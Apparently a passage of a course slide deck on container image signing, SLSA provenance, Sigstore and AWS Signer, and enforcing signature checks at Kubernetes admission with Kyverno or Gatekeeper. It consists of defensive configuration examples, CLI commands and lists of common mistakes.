CertificateOptional; key ID is the identityShort-lived X.509 cert from Fulcio, valid for minutes
Proof of timeOptional timestampingRekor transparency log entry (and/or timestamp authority)
Rotation / revocationYour job: rotate, revoke, audit key useNothing to rotate; revoke by changing policy (trusted identities)
Verifier configPublic key or KMS key ARNExpected issuer + subject (workflow identity)
Typical fitAir-gapped, AWS-native (Signer + Notation), private PKIGitHub Actions to public or private registries

Keyless is not "trust Sigstore blindly": you still pin the exact identity you expect. That pinning is the security boundary.

Sigstore

Sigstore components

Open-source signing infrastructure run by the OpenSSF; the public-good instance is free to use.

cosign

  • CLI to sign and verify container images, blobs and attestations.
  • Stores signatures and attestations in the OCI registry next to the image.
  • v3: writes and verifies the Sigstore bundle format by default.
  • Latest line at the time of writing: 3.1.x.

Fulcio

  • Certificate authority for code signing.
  • Exchanges an OIDC token for a short-lived X.509 certificate.
  • The certificate embeds the identity (for GitHub: the workflow URI and ref) and the issuer.
  • GitHub Actions issuer: https://token.actions.githubusercontent.com.

Rekor

  • Append-only transparency log of signing events.
  • Lets anyone prove a signature was made while the certificate was valid.
  • Public entries: never sign private names you consider secret with the public instance.
  • Monitors can watch the log for signatures made with your identity that you did not expect.

GitHub artifact attestations use the public-good Sigstore instance for public repositories and a GitHub-run Sigstore instance for private repositories.

Keyless flow

Keyless signing in a GitHub Actions job

No secret is stored anywhere. The job proves its identity with its OIDC token.

GitHub Actions job (id-token: write)1 Request OIDC tokenaud: sigstore3 Generate ephemeral keysign image digest5 Push signature / bundleto the registryFulcioCA: token → short-lived certRekortransparency log entryRegistry (ECR / GHCR)image@sha256 + signature2 token + public keycert (identity inside)4 log signature + certThe private key never leaves memory and is discarded after step 4.
Signing in CI

cosign keyless signing in a workflow

Sign the digest output of the build step, not a tag.

permissions:
  contents: read
  id-token: write          # OIDC token for Fulcio (and AWS)

steps:
  - uses: sigstore/cosign-installer@<sha-of-v3.x>   # pinned
  - id: build
    uses: docker/build-push-action@<sha-of-v6.x>
    with:
      push: true
      tags: ${{ env.IMAGE }}:${{ github.sha }}
  - name: Sign the pushed digest (keyless)
    env:
      DIGEST: ${{ steps.build.outputs.digest }}
    run: cosign sign --yes "${IMAGE}@${DIGEST}"

Notes

  • --yes skips the interactive confirmation about uploading to the public transparency log.
  • The digest comes from the build action's digest output; pass it through env: (no ${{ }} inside run:).
  • The same job needs registry credentials (ECR via OIDC, ch 4) to push the signature.
  • Sign every pushed digest: dev builds too. Policy, not signing, decides what may run where.
  • Key-based variant: cosign sign --key awskms:///alias/cicd-lab-signing "${IMAGE}@${DIGEST}".
Verifying

cosign verify: pin issuer and identity

A verify command without identity flags would accept a signature from anyone who can get a Fulcio cert.

IMAGE=123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello

cosign verify "$IMAGE@sha256:<digest>" \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity \
  "https://github.com/<you>/cicd-lab/.github/workflows/release.yml@refs/heads/main"

# allow any tag release from this repo's release workflow
cosign verify "$IMAGE@sha256:<digest>" \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity-regexp \
  '^https://github\.com/<you>/cicd-lab/\.github/workflows/release\.yml@refs/tags/v[0-9.]+$'

Read the identity

  • For GitHub, the certificate identity is the workflow file URI + ref that ran.
  • With a reusable workflow, it is the reusable workflow's URI (ch 3) — useful: one trusted builder for many repos.
  • Anchor regexes with ^ and $ and escape dots; an unanchored regex trusts look-alike repos.
  • Exit code 0 = at least one valid signature matched; scripts must check it.
  • Verification also checks the Rekor inclusion proof or timestamp, so a cert that expired later is still fine.
Chapter 11 · Part 11.2

Provenance and attestations

Signed statements about an artifact: how it was built (provenance), what is inside it (SBOM), what was checked.

Attestation format

in-toto: statement, predicate, envelope

An attestation is a signed claim about one or more artifacts, identified by digest.

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [{
    "name": "<acct>.dkr.ecr.<region>.amazonaws.com/cicd-lab/hello",
    "digest": { "sha256": "5f1c…e9" }
  }],
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": { "...": "see next slide" }
}

Layers

  • Statement: binds a predicate to subjects (artifact names + digests).
  • Predicate: the claim itself, typed by predicateType URI.
  • Envelope: DSSE (Dead Simple Signing Envelope) carries the signed statement.
  • Bundle: Sigstore bundle = envelope + certificate + transparency log proof.
  • Common predicate types: SLSA provenance, SPDX and CycloneDX SBOMs, vulnerability scan results, test results.
Provenance

SLSA provenance v1: what the builder records

The answer to "how was this digest made?" in a machine-checkable form.

"predicate": {
  "buildDefinition": {
    "buildType": "https://actions.github.io/buildtypes/workflow/v1",
    "externalParameters": {
      "workflow": {
        "repository": "https://github.com/<you>/cicd-lab",
        "path": ".github/workflows/release.yml",
        "ref": "refs/tags/v1.4.0" } },
    "internalParameters": { "github": { "event_name": "push" } },
    "resolvedDependencies": [{
      "uri": "git+https://github.com/<you>/cicd-lab@refs/tags/v1.4.0",
      "digest": { "gitCommit": "9a3e…" } }]
  },
  "runDetails": {
    "builder": { "id": "https://github.com/<you>/cicd-lab/
        .github/workflows/release.yml@refs/tags/v1.4.0" },
    "metadata": { "invocationId":
        "https://github.com/<you>/cicd-lab/actions/runs/…/attempts/1" }
  }
}

Fields that matter

  • externalParameters: what a user controlled — check them against expectations (right repo, right workflow, right ref).
  • resolvedDependencies: source commit (and optionally base images, tools).
  • builder.id: the trusted build platform identity; verifiers allow-list it.
  • invocationId: the exact run, for audit and incident response.
  • Values above are illustrative (long strings wrapped); generate one in Lab 11 and read the real fields.
GitHub artifact attestations

actions/attest-build-provenance

GitHub generates, signs and stores SLSA provenance for you; no key management.

permissions:
  contents: read
  id-token: write        # sign with the workflow identity
  attestations: write    # store in GitHub's attestation API
  packages: write        # only if pushing attestations to GHCR

steps:
  - id: build
    uses: docker/build-push-action@<sha-of-v6.x>
    with: { push: true, tags: "${{ env.IMAGE }}:${{ github.sha }}" }
  - uses: actions/attest-build-provenance@<sha-of-v2.x>
    with:
      subject-name: ${{ env.IMAGE }}         # no tag
      subject-digest: ${{ steps.build.outputs.digest }}
      push-to-registry: true                 # also store in the registry

# files instead of images
  - uses: actions/attest-build-provenance@<sha-of-v2.x>
    with:
      subject-path: dist/hello-linux-amd64

How it works

  • Builds an in-toto statement with a SLSA provenance predicate from the workflow context.
  • Signs it with a Sigstore certificate tied to the workflow identity.
  • Stores it in the repo's attestations (visible in the Actions UI) and optionally as an OCI artifact.
  • Available for public repos on all plans; private and internal repos need GitHub Enterprise Cloud.
  • Check the action README for current inputs: newer major versions may wrap the generic actions/attest action.
Verify with gh

gh attestation verify

The consumer-side check: is there a valid attestation for this digest, signed by the workflow I trust?

# image (OCI) — authenticate to the registry first
gh attestation verify \
  oci://123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello:v1.4.0 \
  --owner <you>

# stricter: only this repo and this signing workflow
gh attestation verify oci://$IMAGE@sha256:<digest> \
  --repo <you>/cicd-lab \
  --signer-workflow <you>/cicd-lab/.github/workflows/release.yml

# reusable builder in another repo (11.3: Build L3)
gh attestation verify oci://$IMAGE@sha256:<digest> \
  --owner <you> \
  --signer-repo <you>/build-workflows

# offline / air-gapped: use a downloaded bundle
gh attestation verify dist/hello-linux-amd64 \
  --repo <you>/cicd-lab --bundle hello.sigstore.json

Flags

  • --owner or --repo is required: it scopes where attestations are fetched and whose identity is accepted.
  • --signer-workflow: require a specific workflow file.
  • --signer-repo: the repo containing the reusable workflow, when it differs from the caller.
  • --predicate-type: check an attestation type other than SLSA provenance (for example an SBOM).
  • --format json prints the verified statements for further policy checks (jq).
More attestations

SBOM and custom attestations

One digest can carry several attestations: provenance, SBOM, scan results.

# GitHub: SBOM attestation (SPDX or CycloneDX file from Syft, ch 10)
- uses: actions/attest-sbom@<sha-of-v2.x>
  with:
    subject-name: ${{ env.IMAGE }}
    subject-digest: ${{ steps.build.outputs.digest }}
    sbom-path: sbom.spdx.json
    push-to-registry: true

# cosign: attach any predicate, keyless
cosign attest --yes --type spdxjson \
  --predicate sbom.spdx.json "${IMAGE}@${DIGEST}"
cosign verify-attestation --type spdxjson \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  --certificate-identity-regexp '^https://github\.com/<you>/cicd-lab/' \
  "${IMAGE}@${DIGEST}" | jq -r .payload | base64 -d | jq .predicateType

Choosing

  • GitHub actions: simplest when you verify with gh or with policies that read GitHub/Sigstore bundles.
  • cosign: registry-native, works with any CI and with admission controllers that read cosign attestations.
  • Do not mix freely: make sure the verifier you deploy (ch 12) understands where and how attestations are stored.
  • Attest scan results only if a policy consumes them; otherwise they are noise.
Chapter 11 · Part 11.3

SLSA levels

Supply-chain Levels for Software Artifacts: a ladder of build and source guarantees.

SLSA v1.2

SLSA in one slide

A specification from the OpenSSF. v1.2 is the approved version; it has two tracks.

Tracks

  • Build track (L0–L3): how trustworthy the build and its provenance are.
  • Source track (L1–L4, new in v1.2): how trustworthy the source revisions are.
  • Build track requirements are unchanged since v1.0.
  • Levels are per artifact and per track: "Build L3" says nothing about source review.

Roles

  • Producer: you, building and publishing the artifact.
  • Build platform: GitHub Actions hosted runners, or your own builder.
  • Consumer / verifier: whoever deploys it — checks provenance against expectations.
  • Verification is part of SLSA: provenance nobody checks protects nobody.

Threats it targets

  • Tampering after build (registry, distribution).
  • A compromised or misconfigured build that produces the wrong artifact.
  • Builds from an unexpected source repo, branch or workflow.
  • Not covered by the build track: vulnerable or malicious dependencies (ch 10).
Build track

Build L1 – L3 requirements

Each level adds guarantees about the provenance: exists → is authentic → is unforgeable.

LevelNameRequirements (summary)Stops
Build L0No guaranteesNothing—
Build L1Provenance existsConsistent build process; provenance describing how the artifact was built is generated and distributedMistakes; gives visibility for debugging and inventory
Build L2Hosted build platformBuild runs on a hosted platform; provenance is generated and signed by the platform, not by user scriptsTampering after the build; forged provenance from outside the platform
Build L3Hardened buildsRuns isolated from each other; signing material not accessible to user-defined build steps; provenance cannot be forged by the build itselfTampering during the build by a compromised step or a malicious maintainer of one run

Higher levels are about the platform and how you use it, not about adding more scanners.

GitHub and SLSA

Where GitHub artifact attestations land

Attestations alone give Build L2. Build L3 needs the build and attestation inside a reusable workflow.

Build L2: attestations in the repo workflow

  • Hosted runner + actions/attest-build-provenance in the same workflow that builds.
  • Provenance is signed by Sigstore with the workflow identity: authentic.
  • But the caller workflow (editable by anyone with write access to the repo) controls the build steps and the attestation step.

Build L3: a shared reusable builder

  • Put build and attestation in a reusable workflow in a separate, tightly controlled repo.
  • Callers pass inputs only; they cannot change build or signing steps.
  • The signing identity becomes the reusable workflow, so verifiers can require it.
  • Verify with gh attestation verify --signer-workflow (or --signer-repo).

Permissions in the reusable workflow

  • id-token: write — sign with the workflow identity.
  • attestations: write — store the attestation.
  • contents: read — check out the source.
  • The caller must grant these too (a called workflow cannot exceed the caller's permissions).

Reference: GitHub docs, "Using artifact attestations and reusable workflows to achieve SLSA v1 Build Level 3".

Build L3 in practice

A reusable builder workflow

Repo <you>/build-workflows, protected by rulesets and CODEOWNERS (ch 3, ch 9).

# <you>/build-workflows/.github/workflows/build-image.yml
on:
  workflow_call:
    inputs:
      image: { type: string, required: true }
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      { contents: read, id-token: write, attestations: write }
    steps:
      - uses: actions/checkout@<sha-of-v7.0.1>
      - uses: aws-actions/configure-aws-credentials@<sha-of-v4.x>
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - uses: aws-actions/amazon-ecr-login@<sha-of-v2.x>
      - id: push
        uses: docker/build-push-action@<sha-of-v6.x>
        with:
          push: true
          tags: ${{ inputs.image }}:${{ github.sha }}
      - uses: actions/attest-build-provenance@<sha-of-v2.x>
        with:
          subject-name: ${{ inputs.image }}
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
# caller: <you>/cicd-lab/.github/workflows/release.yml
on:
  push:
    tags: ["v*"]
permissions:
  contents: read
  id-token: write
  attestations: write
jobs:
  build:
    uses: <you>/build-workflows/.github/workflows/
          build-image.yml@<sha>          # one line in real YAML
    with:
      image: <acct>.dkr.ecr.ap-northeast-1.amazonaws.com/
             cicd-lab/hello                 # one line in real YAML

# verifier
gh attestation verify oci://$IMAGE@sha256:<digest> \
  --owner <you> \
  --signer-workflow \
  <you>/build-workflows/.github/workflows/build-image.yml

# OIDC to AWS: the token's job_workflow_ref claim names the
# reusable workflow — usable in the IAM trust policy (ch 4)
Source track

SLSA v1.2 Source track

New in v1.2: guarantees about the source revisions that builds consume.

LevelFocusWhat it means in GitHub terms (example)
Source L1Version controlledCode lives in Git; every build consumes a discrete revision (commit SHA), not a working copy
Source L2History and provenanceChange history is preserved (no force-push or deletion on protected branches); the platform produces source provenance
Source L3Continuous technical controlsOrganization controls are enforced technically and continuously (rulesets on protected branches and tags, required checks)
Source L4Two-party reviewEvery change to protected branches is reviewed by someone other than the author

Levels and names follow slsa.dev/spec/v1.2/source-requirements; the right column is an illustration, not the spec. Read the spec before claiming a level.

Mapping

SLSA levels mapped to controls in this deck

Use it as a roadmap: each row is a chapter you have already studied.

GoalControlChapter
Build L1Every release is built by a workflow, never on a laptop; provenance generated1, 11
Build L2GitHub-hosted runners + attest-build-provenance; signed with the workflow identity11
Build L3Build + attest in a protected reusable workflow; verify --signer-workflow3, 11
Source L2–L3Rulesets: no force-push, no deletion, required checks on main and release tags3, 9
Source L4Required review by a non-author; CODEOWNERS; no self-approval3, 13
Use the guaranteesAdmission policy requires signature + provenance from the expected identity12
Chapter 11 · Part 11.4

Signing on AWS

AWS Signer with Notation, and Amazon ECR managed signing.

AWS Signer

AWS Signer + Notation

Notation is the CNCF Notary Project CLI; AWS Signer provides the keys, certificates and revocation.

Pieces

  • Signing profile in AWS Signer, platform Notation-OCI-SHA384-ECDSA.
  • Notation CLI + the AWS Signer plugin sign and verify.
  • Signatures are stored in ECR next to the image (OCI referrers).
  • Signer manages key material and certificate rotation and lets you revoke a profile or a signature.
  • CloudTrail records signing calls.
# one-time: signing profile
aws signer put-signing-profile \
  --profile-name cicd_lab \
  --platform-id Notation-OCI-SHA384-ECDSA

# sign (CI, with OIDC credentials)
aws ecr get-login-password | notation login \
  --username AWS --password-stdin \
  123456789012.dkr.ecr.ap-northeast-1.amazonaws.com
notation sign "$IMAGE@$DIGEST" \
  --plugin com.amazonaws.signer.notation.plugin \
  --id "$PROFILE_ARN"   # arn:aws:signer:…:/signing-profiles/cicd_lab

notation inspect "$IMAGE@$DIGEST"   # list signatures
Notation verify

Notation trust policy

Verification needs a trust store (AWS Signer root) and a trust policy naming the allowed signing profiles.

{
  "version": "1.0",
  "trustPolicies": [{
    "name": "cicd-lab-images",
    "registryScopes": [
      "<acct>.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello"
    ],
    "signatureVerification": { "level": "strict" },
    "trustStores": [ "signingAuthority:aws-signer-ts" ],
    "trustedIdentities": [
      "arn:aws:signer:ap-northeast-1:<acct>:/signing-profiles/cicd_lab"
    ]
  }]
}

Use

  • notation policy import trustpolicy.json, then notation verify "$IMAGE@$DIGEST".
  • trustedIdentities pins the signing profile — the Notation equivalent of pinning the keyless identity.
  • strict also checks revocation through AWS Signer: a revoked profile or signature fails.
  • The AWS Signer trust store root comes with the AWS Signer plugin installer; see the Signer docs for your OS.
  • On EKS, the same trust policy is used by the admission verifier (12.2).
ECR managed signing

Amazon ECR managed signing (Nov 2025)

ECR signs images automatically on push with an AWS Signer profile. No signing step in the pipeline.

How it works

  • Create signing rules on the registry: a Signer signing profile + repository name filters.
  • Up to 10 rules per registry.
  • Matching images are signed as they are pushed; signatures are Notation-format, stored in ECR.
  • Configure in the console or with a single API call.

Identity and permissions

  • Signing happens with the identity of the principal that pushed.
  • That principal (your CI role) therefore needs signer:SignPayload on the profile.
  • Signing profiles from another account work (cross-account).
  • Profiles from another Region do not (no cross-Region).

Verifying

  • Managed signing only signs; verification is still yours.
  • Manual check: Notation CLI + AWS Signer plugin with a trust policy (previous slide).
  • Cluster check: an admission verifier with Notation support (12.2).
  • Signatures prove "pushed by an allowed principal", not "built from this source": add provenance for that.
Choose

Sigstore vs AWS Signer: which one?

Many teams use both: AWS Signer for the AWS-native signature, GitHub/Sigstore attestations for provenance.

QuestionSigstore keyless (cosign, GitHub attestations)AWS Signer (Notation, ECR managed signing)
Key managementNoneManaged by AWS Signer
Identity in the signatureCI workflow (repo, workflow file, ref)Signing profile (whoever may use it)
Provenance (how it was built)Yes, SLSA provenance attestationsNo; signature only
RevocationChange verifier policyRevoke profile or individual signatures
Transparency logRekor (public for public-good instance)No public log; CloudTrail for audit
Air-gapped / no external callsNeeds Sigstore services (or a private instance)Stays within AWS
Verifier on EKSKyverno ImageValidatingPolicy, Sigstore policy-controllerGatekeeper + Ratify, or Kyverno + kyverno-notation-aws
Common mistakes

Signing and provenance mistakes

Each one quietly turns "signed" into "decorative".

Signing

  • Signing a tag (:latest, :v1) instead of the digest.
  • Signing in a separate job that rebuilds instead of using the pushed digest.
  • Storing a cosign private key as a repo secret readable by every workflow.
  • Using the public Rekor instance for private artifact names you consider sensitive.

Verifying

  • cosign verify with --certificate-identity-regexp '.*' — trusts any GitHub repo.
  • Unanchored regex: github.com/<you>/cicd-lab also matches cicd-lab-evil.
  • Verifying in CI only: the cluster still runs anything (ch 12).
  • Ignoring the exit code in scripts.

Provenance and SLSA

  • Claiming Build L3 with attestations in the caller workflow (that is L2).
  • Generating provenance nobody verifies.
  • Attesting from a self-hosted runner shared with untrusted jobs.
  • Assuming ECR managed signing proves the source commit.
Self-check

Signing, provenance and SLSA: can you answer these?

Explain the answer and name the exact command, field or level.

Signing

  • What does Fulcio put into the certificate for a GitHub Actions job?
  • Why is a Rekor entry needed if the certificate expires in minutes?
  • Which two flags must every keyless cosign verify have?
  • What changes in the certificate identity when you use a reusable workflow?

Provenance and SLSA

  • Name the four parts: statement, predicate, envelope, bundle.
  • Which permissions does attest-build-provenance need?
  • Why do attestations in the caller workflow reach only Build L2?
  • What do Source L2 and Source L4 add?

AWS

  • Which Signer platform ID does Notation signing use?
  • What does trustedIdentities pin in a Notation trust policy?
  • Why does the CI role need signer:SignPayload with ECR managed signing?
  • When would you pick AWS Signer over keyless Sigstore?

Practice: Lab 11 in Hands-on labs — cosign keyless signing, GitHub build provenance, gh attestation verify and cosign verify; optional ECR managed signing.

Chapter 12

Verifying at deploy time

Signatures and provenance only matter if something refuses to run artifacts without them.

Chapter 12 · Part 12.1

Admission control

Kyverno ImageValidatingPolicy, the legacy verifyImages rule, and the Sigstore policy-controller.

Where to verify

Verify as late as possible: at admission

Checks in CI protect the pipeline. Checks at admission protect the cluster from everything else.

CI buildsign + attestRegistryECR / GHCRConfig repodigest in GitArgo CDsyncAPI serveradmissionPolicy engineKyverno / othersPod runsonly if verifiedkubectl apply by a humanor a compromised controllerwebhookstill hits admissionEvery path into the cluster — GitOps, kubectl, Helm, an operator — goes through the API server, so one policy covers all of them.

Verifying in Argo CD or in CI only is not enough: anyone with cluster access could still deploy an unsigned image.

Kyverno today

Kyverno: ImageValidatingPolicy replaces verifyImages

Know both: older tutorials and clusters use the legacy rule; new policies should use the new CRD.

ImageValidatingPolicy (current)

  • CRD ImageValidatingPolicy, API policies.kyverno.io/v1, stable since Kyverno 1.18.
  • Validation logic in CEL expressions, like Kubernetes ValidatingAdmissionPolicy.
  • Declares attestors (cosign keyless, cosign key, Notation certificates) and attestations (in-toto predicate types).
  • CEL functions such as verifyImageSignatures and verifyAttestationSignatures do the checks.

verifyImages rule (legacy)

  • A rule type inside a ClusterPolicy.
  • Deprecated in Kyverno 1.19 (Aug 2026), removal planned for 1.20.
  • Still works on clusters that run older Kyverno versions.
  • Migrate: same attestor ideas, new CRD and CEL expressions.

Operational notes

  • Kyverno runs as an admission webhook: plan HA (several replicas) and resource limits.
  • Registry credentials: Kyverno must be able to read signatures from private registries.
  • Keep Kyverno patched: an ImageValidatingPolicy exception bypass was fixed in 1.19.1.
  • Check API versions: older release docs show v1alpha1.

Docs: kyverno.io/docs/policy-types/image-validating-policy/ — read the page for the Kyverno version you run before copying fields.

ImageValidatingPolicy

Require a keyless signature from your release workflow

Pods whose images match the glob must carry a cosign signature from the expected GitHub workflow identity.

apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata:
  name: require-signed-cicd-lab
spec:
  validationActions: [Deny]          # Audit while rolling out
  matchConstraints:
    resourceRules:
      - apiGroups: [""]
        apiVersions: [v1]
        operations: [CREATE, UPDATE]
        resources: [pods]
  matchImageReferences:
    - glob: "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/*"
  attestors:
    - name: gha
      cosign:
        keyless:
          identities:
            - issuer: https://token.actions.githubusercontent.com
              subjectRegExp: '^https://github\.com/<you>/cicd-lab/.+@refs/tags/v'
  validations:
    - expression: >-
        images.containers.map(image,
          verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
      message: "image must be signed by a tag build of <you>/cicd-lab"

Read it

  • matchConstraints: which requests the policy sees (Pods here).
  • matchImageReferences: which images must be verified; others are not checked by this policy.
  • attestors: who is trusted — issuer + subject regexp, anchored.
  • validations: CEL; verifyImageSignatures returns how many attestors verified.
  • validationActions: Deny blocks, Audit only reports.
  • Subject must match the signing ref: this slide trusts tag builds (@refs/tags/v…); Lab 12 trusts @refs/heads/main because Lab 11 signs on pushes to main.
Attestations

Require provenance as well as a signature

A signature says who pushed; a provenance attestation says how and from where it was built.

spec:
  # ... matchConstraints, matchImageReferences, attestors as before
  attestations:
    - name: provenance
      intoto:
        type: https://slsa.dev/provenance/v1
  validations:
    - expression: >-
        images.containers.map(image,
          verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
      message: "unsigned image"
    - expression: >-
        images.containers.map(image,
          verifyAttestationSignatures(image, attestations.provenance,
            [attestors.gha])).all(e, e > 0)
      message: "image has no SLSA provenance from release.yml"

Notes

  • The attestation must be stored where Kyverno looks (OCI registry, next to the image): use push-to-registry: true or cosign attest (ch 11).
  • Attestations stored only in GitHub's attestation API are not visible to a registry-based verifier.
  • Further CEL can read the payload (for example require buildDefinition.externalParameters.workflow.ref to be a tag); see the docs for the payload functions.
  • Test with cosign v3 bundles before enforcing: recent Kyverno issues report attestation verification problems with some bundle and transparency-log settings.
Legacy rule

The same policy as a legacy verifyImages rule

For reading older repos and clusters below Kyverno 1.18. Do not write new policies this way.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-signed-cicd-lab
spec:
  validationFailureAction: Enforce
  webhookTimeoutSeconds: 30
  rules:
    - name: verify-signature
      match:
        any:
          - resources:
              kinds: [Pod]
      verifyImages:
        - imageReferences:
            - "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/*"
          attestors:
            - entries:
                - keyless:
                    issuer: https://token.actions.githubusercontent.com
                    subjectRegExp: '^https://github\.com/<you>/cicd-lab/.*$'
                    rekor:
                      url: https://rekor.sigstore.dev

Migration map

  • verifyImages[].imageReferences → matchImageReferences[].glob.
  • attestors[].entries[].keyless → attestors[].cosign.keyless.identities[].
  • match → matchConstraints.
  • validationFailureAction: Enforce → validationActions: [Deny].
  • Implicit "verify" → explicit CEL validations.
  • Run both in Audit side by side, compare reports, then switch.
Sigstore policy-controller

Alternative: Sigstore policy-controller

A dedicated admission controller from the Sigstore project; verifies cosign signatures and attestations only.

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: cicd-lab-signed
spec:
  images:
    - glob: "123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: https://token.actions.githubusercontent.com
            subjectRegExp: '^https://github\.com/<you>/cicd-lab/.*$'
      ctlog:
        url: https://rekor.sigstore.dev

# opt a namespace in
kubectl label namespace hello policy.sigstore.dev/include=true

Kyverno or policy-controller?

  • policy-controller: small, focused on Sigstore; namespaces opt in with a label.
  • Kyverno: one engine for image checks and other policies (labels, security context, mutation).
  • If you already run Kyverno or Gatekeeper, avoid adding a second webhook for the same job.
  • Both: start in a warn/audit mode, read reports, then enforce.
Rollout

Rolling out image verification without an outage

A wrong policy can stop every Deployment in the cluster, including system components.

1 · Inventory

  • List running images and registries: kubectl get pods -A -o jsonpath=….
  • Which are yours and signed? Which are third-party?
→

2 · Audit

  • Deploy policies with validationActions: [Audit].
  • Read policy reports for a week; fix unsigned builds.
→

3 · Scope

  • Enforce for your registry glob only.
  • Exclude kube-system, the policy engine namespace, and add-ons you do not build.
→

4 · Enforce

  • Switch to Deny per namespace or environment: dev → staging → prod.
  • Alert on denials; keep the break-glass path ready (12.3).

Third-party images (add-ons, Helm charts you install): verify the vendor's own signatures if they publish them, or mirror into your registry after review and sign there.

Chapter 12 · Part 12.2

AWS-native verification

Verifying AWS Signer (Notation) signatures on EKS, and pinning digests.

AWS Signer on EKS

Two supported paths for Notation signatures on EKS

AWS documents both; each uses the AWS Signer plugin for Notation to check signatures and revocation.

Path A: Gatekeeper + RatifyAPI serveradmissionGatekeeperconstraintRatifyexternal data providerNotation verifier+ AWS Signer pluginTrust policy: allowed signing profile ARNsPath B: Kyverno + kyverno-notation-awsAPI serveradmissionKyvernopolicykyverno-notation-awsextension serviceNotation verifier+ AWS Signer pluginTrust policy + trust store as cluster resources

Ratify is not the only path. Pick the one that matches the policy engine you already run; the AWS EKS "image verification" docs link to both setups.

Gatekeeper + Ratify

Path A: Gatekeeper with Ratify

Gatekeeper asks Ratify (an external data provider) whether each image has a valid signature.

Components

  • Gatekeeper: OPA-based admission controller; ConstraintTemplates in Rego.
  • Ratify: verification framework; runs Notation with the AWS Signer plugin.
  • A Gatekeeper constraint calls the Ratify provider and denies on a failed result.
  • Ratify needs read access to ECR (IRSA or EKS Pod Identity).

Setup outline

  • Install Gatekeeper with external data enabled.
  • Install Ratify with the Notation verifier and the AWS Signer plugin.
  • Give Ratify the AWS Signer root certificate and a trust policy with your signing profile ARNs.
  • Apply the constraint template and constraint (audit first).
  • Follow the Ratify docs for your version: its CRDs changed between major versions.

Pros and cons

  • Fits teams already standardised on Gatekeeper / Rego.
  • Ratify can also verify other artifact types (SBOMs, cosign signatures) with more verifiers.
  • More moving parts: Gatekeeper, Ratify, plugin, certificates.
  • Timeouts: external data calls add latency to every admission.
Kyverno + Notation

Path B: Kyverno with kyverno-notation-aws

A community extension service from Nirmata that Kyverno calls to run Notation verification with AWS Signer.

How it fits

  • Kyverno policy matches Pods and calls the extension service for each image.
  • The extension runs Notation + AWS Signer plugin and returns verified / not verified.
  • Trust policies and trust stores are managed as Kubernetes resources installed with the extension.
  • Can also return verified digests so policies can pin them.

Setup outline

  • Install Kyverno.
  • Install kyverno-notation-aws from its repository (Helm chart or manifests).
  • Grant the extension ECR read access and Signer revocation checks (IRSA or Pod Identity).
  • Create the trust store (AWS Signer root) and trust policy (your profile ARNs).
  • Apply the sample Kyverno policy from the repo; audit first.

Native alternative

  • Kyverno's ImageValidatingPolicy supports Notation attestors with certificates.
  • Check in the Kyverno docs whether AWS Signer revocation checks are covered for your version before replacing the extension.
  • Whichever you use, test a revoked signature: it must be denied.

The extension is a community project, not an AWS service: pin its version and track its releases like any other dependency.

Digest pinning

Pin digests in what you deploy

Verification checks the digest it resolves. If the manifest uses a tag, a later push to that tag changes what runs.

# values for the web chart (GitOps deck)
image:
  repository: <acct>.dkr.ecr.ap-northeast-1.amazonaws.com/cicd-lab/hello
  tag: v1.4.0                        # for humans
  digest: sha256:5f1c…e9             # what actually runs

# template
image: "{{ .Values.image.repository }}@{{ .Values.image.digest }}"

# rendered Pod
image: 123456789012.dkr.ecr…/cicd-lab/hello@sha256:5f1c…e9

Why and how

  • A digest is content-addressed: it cannot be repointed.
  • ECR tag immutability (ch 5) protects tags; digests protect against everything else, including other registries.
  • Policies can require digests: deny images without @sha256:.
  • The promotion PR (12.3) carries the digest from CI, so the config repo records exactly what was verified.
  • Renovate and Dependabot can keep digests of third-party images up to date.
Chapter 12 · Part 12.3

Closing the loop with GitOps

CI produces evidence, Git records the decision, admission enforces it.

The loop

From commit to verified Pod

Each step hands the next one something it can check.

CI (ch 2–11)

  • Build once; push to ECR.
  • Sign the digest; attest provenance and SBOM.
  • Gate on scans (ch 5, 10).
  • Output: digest.
→

Promotion PR

  • CI opens a PR in gitops-lab setting image.digest for dev.
  • Review = the change approval.
  • Later PRs promote the same digest to staging and prod.
→

Argo CD (GitOps deck)

  • Syncs the merged manifests.
  • Does not decide trust; it only applies.
→

Admission (12.1–12.2)

  • Verifies signature + provenance for the digest.
  • Denies anything else, from any path.

The digest is the thread through every step: CI output → Git → manifest → admission check → running container.

Promotion PR

CI opens the promotion PR with the digest

The app repo pipeline never touches the cluster; it proposes a change to the config repo.

  promote-dev:
    needs: build
    runs-on: ubuntu-latest
    permissions: { contents: read }
    steps:
      - uses: actions/create-github-app-token@<sha-of-v1.x>
        id: app
        with:
          app-id: ${{ vars.PROMOTER_APP_ID }}
          private-key: ${{ secrets.PROMOTER_APP_KEY }}
          repositories: gitops-lab
      - uses: actions/checkout@<sha-of-v7.0.1>
        with:
          repository: <you>/gitops-lab
          token: ${{ steps.app.outputs.token }}
      - env:
          DIGEST: ${{ needs.build.outputs.digest }}
          GH_TOKEN: ${{ steps.app.outputs.token }}
        run: |
          yq -i ".image.digest = \"${DIGEST}\"" envs/dev/hello/values.yaml
          git switch -c "promote/dev-${DIGEST:7:12}"
          git commit -am "dev: hello ${DIGEST:7:12}" && git push -u origin HEAD
          gh pr create --fill --base main

Design choices

  • A GitHub App token scoped to gitops-lab, not a PAT: short-lived and auditable.
